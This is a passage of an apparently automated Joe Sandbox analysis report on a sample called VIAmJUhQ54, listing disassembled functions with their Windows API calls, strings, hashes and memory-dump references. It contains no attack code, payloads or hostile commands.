Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Heap$AllocInformationProcessToken$CopyErrorLastLength
String ID:
API String ID: 4217664535-0
Opcode ID: e6728799eeb1dbd873ec65b97a377155a3baec13c2adb528814d3f1513d32722
Instruction ID: d991600c790844923dbec178b429ec852a9f1509c8f7e8344adedf265610dc33
Opcode Fuzzy Hash: e6728799eeb1dbd873ec65b97a377155a3baec13c2adb528814d3f1513d32722
Instruction Fuzzy Hash: BE118F71A00205FFDB149F94DC85AFEB7A9FF85305F14802DE94297250D7B9AE48CB60

Function 0075B478 Relevance: 6.1, APIs: 4, Instructions: 58windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 0075B498
SendMessageW.USER32(?,000000C9,?,00000000), ref: 0075B4AA
SendMessageW.USER32(?,000000C9,?,00000000), ref: 0075B4C0
SendMessageW.USER32(?,000000C9,?,00000000), ref: 0075B4DB

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 52496a55aa20b85ec220ce2a2174c669b2f80403dd3f712e9ee3aa40ce7ab9e0
Instruction ID: f4cc482ade2833f5c239b19c73f1a796f8d80defa7ea27c500f6d3114313c86a
Opcode Fuzzy Hash: 52496a55aa20b85ec220ce2a2174c669b2f80403dd3f712e9ee3aa40ce7ab9e0
Instruction Fuzzy Hash: 04115A7A900218FFDB21DFA8C885EEDBBB4FB08700F204095EA04B7290D771AE11DB94

Function 0073B55D Relevance: 6.1, APIs: 4, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 0073B34E: GetWindowLongW.USER32(?,000000EB), ref: 0073B35F

DefDlgProcW.USER32(?,00000020,?,00000000), ref: 0073B5A5
GetClientRect.USER32(?,?), ref: 0079E69A
GetCursorPos.USER32(?), ref: 0079E6A4
ScreenToClient.USER32(?,?), ref: 0079E6AF

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID:
API String ID: 4127811313-0
Opcode ID: 2d7019d7c4534a85a687e5ec1e67609d79ab672da4dcc6fad09b0cdc6f0eeb8a
Instruction ID: 40cb731615607d7ab2f84d1d3562c374a8488ea7bfd9f306ed405bfdb94d5db2
Opcode Fuzzy Hash: 2d7019d7c4534a85a687e5ec1e67609d79ab672da4dcc6fad09b0cdc6f0eeb8a
Instruction Fuzzy Hash: 9B110631A01029FBDB10DFA4DC8A9AE77B9EB49304F504455FA02E7141D738AAA1CBA5

Function 0076732B Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00767352
MessageBoxW.USER32(?,?,?,?), ref: 00767385
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 0076739B
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 007673A2

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait
String ID:
API String ID: 2880819207-0
Opcode ID: edc965c4b6e5d112fde58a66e2084bc2fe6307776252d469f0054dfa9232046a
Instruction ID: 18139fdf743cec68221773152e56f113b9bdccd14a4f3badf5240cbad21079ac
Opcode Fuzzy Hash: edc965c4b6e5d112fde58a66e2084bc2fe6307776252d469f0054dfa9232046a
Instruction Fuzzy Hash: 1D110872A04284AFC7059B68DC49A9E7BADAB89354F148315FD22E3391D7788D108BA4

Function 0073D17C Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 0073D1BA
GetStockObject.GDI32(00000011), ref: 0073D1CE
SendMessageW.USER32(00000000,00000030,00000000), ref: 0073D1D8

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: 39dc43937034e455211aad94a2cb6546483a5ecc9dba1c61fed145519fde61df
Instruction ID: 9794af917b408950b472293ae10ecfa294556295563fb5ff75393cdeecd5f393
Opcode Fuzzy Hash: 39dc43937034e455211aad94a2cb6546483a5ecc9dba1c61fed145519fde61df
Instruction Fuzzy Hash: 0711AD7250150DBFEF224F90EC54EEABB6AFF49364F054105FA0552050C739DD609BA0

Function 00754DF2 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00754E16

Part of subcall function 007554F5: __fltout2.LIBCMT ref: 0075551E

__cftog_l.LIBCMT ref: 00754E3C
__cftoe_l.LIBCMT ref: 00754E6E

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 3c6a35542a271610c24967ae1addb0a5128256cd46e27c9700edfec13bdc5c5a
Instruction ID: f2f4149313bbc555d3077f0f1c23a625bca7a5a45e37334947cf4dfe43c09be8
Opcode Fuzzy Hash: 3c6a35542a271610c24967ae1addb0a5128256cd46e27c9700edfec13bdc5c5a
Instruction Fuzzy Hash: 69017E3200018EFBCF125F94DC168EE3F23BB1835AB488415FE1859030D37ACAB5AB81

Function 00747452 Relevance: 6.0, APIs: 4, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00747A0D: __getptd_noexit.LIBCMT ref: 00747A0E

__lock.LIBCMT ref: 0074748F
InterlockedDecrement.KERNEL32(?), ref: 007474AC
_free.LIBCMT ref: 007474BF
InterlockedIncrement.KERNEL32(00D87258), ref: 007474D7

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Interlocked$DecrementIncrement__getptd_noexit__lock_free
String ID:
API String ID: 2704283638-0
Opcode ID: 42b6bd58d3ac2abf7ee9db53bd05e65fb21bc250e585f7e14c878bd4ccf855bf
Instruction ID: dec544cacb3c8e9ad2e8e23f4649f18566238a3d009b94f5fbdbbe8612267fcc
Opcode Fuzzy Hash: 42b6bd58d3ac2abf7ee9db53bd05e65fb21bc250e585f7e14c878bd4ccf855bf
Instruction Fuzzy Hash: A701923690A661EBCB2AAF6C9809B6DBB70BF05710F168006F81477690CB3C6D41CFD6

Function 0078EA6A Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 0073AF83: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,?,00000000), ref: 0073AFE3
Part of subcall function 0073AF83: SelectObject.GDI32(?,00000000), ref: 0073AFF2
Part of subcall function 0073AF83: BeginPath.GDI32(?), ref: 0073B009
Part of subcall function 0073AF83: SelectObject.GDI32(?,00000000), ref: 0073B033

MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 0078EA8E
LineTo.GDI32(00000000,?,?), ref: 0078EA9B
EndPath.GDI32(00000000), ref: 0078EAAB
StrokePath.GDI32(00000000), ref: 0078EAB9

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: 7cf1ce15e0b198705c353c799d9f76e204d35d50b5be3de08ff76a27cf28e5ce
Instruction ID: 9504382068d03ad2d6b775dc6dff0138412ddfa2034b89050ca9754d233a7990
Opcode Fuzzy Hash: 7cf1ce15e0b198705c353c799d9f76e204d35d50b5be3de08ff76a27cf28e5ce
Instruction Fuzzy Hash: E6F05431046159BBDB226F54AC0EFCA3F196F4A711F04C101FA12650E1877D9A51CB99

Function 0075C82D Relevance: 6.0, APIs: 4, Instructions: 30threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 0075C84A
GetWindowThreadProcessId.USER32(?,00000000), ref: 0075C85D
GetCurrentThreadId.KERNEL32 ref: 0075C864
AttachThreadInput.USER32(00000000), ref: 0075C86B

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: e61c4ed4a35d7c25861d69109332517632431f8df80807fd10a39ad752e4465c
Instruction ID: 979a0212e7f4bb5fff35cb878ad15bbe9ac171ab67448aab87a87350c3dbd470
Opcode Fuzzy Hash: e61c4ed4a35d7c25861d69109332517632431f8df80807fd10a39ad752e4465c
Instruction Fuzzy Hash: 81E03971141228BADB211BA2DC0DFDB7F5CEF467A2F008021BA0A84860C6B99984CBE0

Function 0075B0CD Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 0075B0D6
OpenThreadToken.ADVAPI32(00000000,?,?,?,0075AC9D), ref: 0075B0DD
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,0075AC9D), ref: 0075B0EA
OpenProcessToken.ADVAPI32(00000000,?,?,?,0075AC9D), ref: 0075B0F1

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: 3612a6330caa4d2b85dbc4d3d68205eb4eea8a716ce8fa925a35b4753513db29
Instruction ID: b0781b0b6db891f0ef884ce56b4600f894a442df18214fefe31efaffe36dbad2
Opcode Fuzzy Hash: 3612a6330caa4d2b85dbc4d3d68205eb4eea8a716ce8fa925a35b4753513db29
Instruction Fuzzy Hash: ADE04F72601211ABD7301FB19D0DB973BA8AF96792F02C818A646D6080DA6C98068764

Function 0073B47D Relevance: 6.0, APIs: 4, Instructions: 22COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 0073B496
SetTextColor.GDI32(?,000000FF), ref: 0073B4A0
SetBkMode.GDI32(?,00000001), ref: 0073B4B5
GetStockObject.GDI32(00000005), ref: 0073B4BD
GetWindowDC.USER32(?,00000000), ref: 0079DE2B
GetPixel.GDI32(00000000,00000000,00000000), ref: 0079DE38
GetPixel.GDI32(00000000,?,00000000), ref: 0079DE51
GetPixel.GDI32(00000000,00000000,?), ref: 0079DE6A
GetPixel.GDI32(00000000,?,?), ref: 0079DE8A
ReleaseDC.USER32(?,00000000), ref: 0079DE95

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
String ID:
API String ID: 1946975507-0
Opcode ID: 40da31775441e5f78b9a10362d7e118be24b08873d2a0f9560a6b0f6cb981d90
Instruction ID: f077d9d02b61c38bfd28f0b7cd637b270f5aef8264d66b76c5d7d9b63feb3d53
Opcode Fuzzy Hash: 40da31775441e5f78b9a10362d7e118be24b08873d2a0f9560a6b0f6cb981d90
Instruction Fuzzy Hash: 91E06D31500244AEEF311F64FC0DBD83B11AB92335F00C226F66A580E2D3794D81CB11

Function 0075B2D4 Relevance: 6.0, APIs: 4, Instructions: 20synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 0075B2DF
UnloadUserProfile.USERENV(?,?), ref: 0075B2EB
CloseHandle.KERNEL32(?), ref: 0075B2F4
CloseHandle.KERNEL32(?), ref: 0075B2FC

Part of subcall function 0075AB24: GetProcessHeap.KERNEL32(00000000,?,0075A848), ref: 0075AB2B
Part of subcall function 0075AB24: HeapFree.KERNEL32(00000000), ref: 0075AB32

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: ebe77019acebd60f820a1e53fe016675a39088bfafec602a7270016edfb4b539
Instruction ID: c9cd57f0c2c011734171773b3b347163ee3c94fcb1000a2db1f190d584cb13be
Opcode Fuzzy Hash: ebe77019acebd60f820a1e53fe016675a39088bfafec602a7270016edfb4b539
Instruction Fuzzy Hash: 11E0BF7A104005FBCB112B95DC08859FB66FFC9321710C221F61681971CB769871EB95

Function 0079B29A Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 0079B29A
GetDC.USER32(00000000), ref: 0079B2A4
GetDeviceCaps.GDI32(00000000,0000000C), ref: 0079B2C3
ReleaseDC.USER32 ref: 0079B2E2

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 8dccc74d278b0173dc1e067ecf452752197e0248147359618d2d10b6f118a44e
Instruction ID: 54fe78f2f7f8ba55c2cfa03ec3968cada23ae75eafe19a7a955dbb2d25fb7456
Opcode Fuzzy Hash: 8dccc74d278b0173dc1e067ecf452752197e0248147359618d2d10b6f118a44e
Instruction Fuzzy Hash: D3E01AB1500204EFEB105F70984862E7BA9EB8C390F12C805F85B87611DB7C9C418B54

Function 0079B2AE Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 0079B2AE
GetDC.USER32(00000000), ref: 0079B2B8
GetDeviceCaps.GDI32(00000000,0000000C), ref: 0079B2C3
ReleaseDC.USER32 ref: 0079B2E2

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: d5fa3f251ec2b56c9f6b170676f509a41f4c13cbc396709b70ce41def4aa1f5f
Instruction ID: 865ddc0cc6fd7fee5d4305d605f8d63c057f37be87a964e55dfabdb127868ec0
Opcode Fuzzy Hash: d5fa3f251ec2b56c9f6b170676f509a41f4c13cbc396709b70ce41def4aa1f5f
Instruction Fuzzy Hash: F8E046B1500204EFEB205F70D84C62D7BA9EB8D390F12C809F95B8B612DB7CAC018B18

Function 0075DCDF Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 240comCOMMON

Download Yara Rule

APIs

OleSetContainedObject.OLE32(?,00000001), ref: 0075DEAA

Strings

Container, xrefs: 0075DE29
AutoIt3GUI, xrefs: 0075DE22

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: ContainedObject
String ID: AutoIt3GUI$Container
API String ID: 3565006973-3941886329
Opcode ID: 14074ee6a3b9b43e68b8cc994965933adb18c61f8af63b1fbd3b5e05da67c757
Instruction ID: 85ec08b9739ffbe6ad46a2c95abc23424d4eb242aec39c0a3ba488844777c472
Opcode Fuzzy Hash: 14074ee6a3b9b43e68b8cc994965933adb18c61f8af63b1fbd3b5e05da67c757
Instruction Fuzzy Hash: F1913670600701AFDB24CF64C888BAAB7B5BF49711F10856EF85ACB691DBB4ED45CB60

Function 0076DE7C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 200shareCOMMON

Download Yara Rule

APIs

Part of subcall function 0073C6F4: _wcscpy.LIBCMT ref: 0073C717

Part of subcall function 0072936C: __swprintf.LIBCMT ref: 007293AB
Part of subcall function 0072936C: __itow.LIBCMT ref: 007293DF

__wcsnicmp.LIBCMT ref: 0076DEFD
WNetUseConnectionW.MPR(00000000,?,?,00000000,?,?,00000100,?), ref: 0076DFC6

Strings

LPT, xrefs: 0076DEF7

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Connection__itow__swprintf__wcsnicmp_wcscpy
String ID: LPT
API String ID: 3222508074-1350329615
Opcode ID: 00431d8debad7bfaf7d9cf2f8f22baad16290cd109c14b99496d465508b9f100
Instruction ID: a76afea47e2981620c159d4eae060eff7fd4d061f0848e54b50770e616d74b21
Opcode Fuzzy Hash: 00431d8debad7bfaf7d9cf2f8f22baad16290cd109c14b99496d465508b9f100
Instruction Fuzzy Hash: B961AF75A00215EFCB14DF98C885EEEB7B4AF08310F154069F947AB291DB78AE44CBA4

Function 0076290D Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_wcscpy.LIBCMT ref: 00762A72

Strings

I/y, xrefs: 0076297F
I/y, xrefs: 007629FC, 00762A64, 00762A12

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: _wcscpy
String ID: I/y$I/y
API String ID: 3048848545-622437722
Opcode ID: 88dfdb524e9d45900ed7a20722aa58de949687d2b7979f4fca71de7ff0cb1198
Instruction ID: cacf5a774535db082a03b6df6f587de39f2d4572c521a28206b5d90a1fcc49c1
Opcode Fuzzy Hash: 88dfdb524e9d45900ed7a20722aa58de949687d2b7979f4fca71de7ff0cb1198
Instruction Fuzzy Hash: A741C235900A16EACF65EF98D4459FDB770EF58310F50904AED82B7192DB786E83C7A0

Function 0073BCC9 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 143sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 0073BCDA
GlobalMemoryStatusEx.KERNEL32 ref: 0073BCF3

Strings

@, xrefs: 0073BCE8

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: 07ebc6d25969cf5eb5fc9a8e81b557cfc47e73def9346ca85c583d1caf447817
Instruction ID: c0698bc5b6551f0114ac0acca1b179c10588a8e70b4b4ce689ea9e99bb5e6a07
Opcode Fuzzy Hash: 07ebc6d25969cf5eb5fc9a8e81b557cfc47e73def9346ca85c583d1caf447817
Instruction Fuzzy Hash: CE514A71408748DBE320AF14DC89BAFBBE8FF94354F41884EF1C8410A3DB75956A8766

Function 0076C56D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137COMMON

Download Yara Rule

APIs

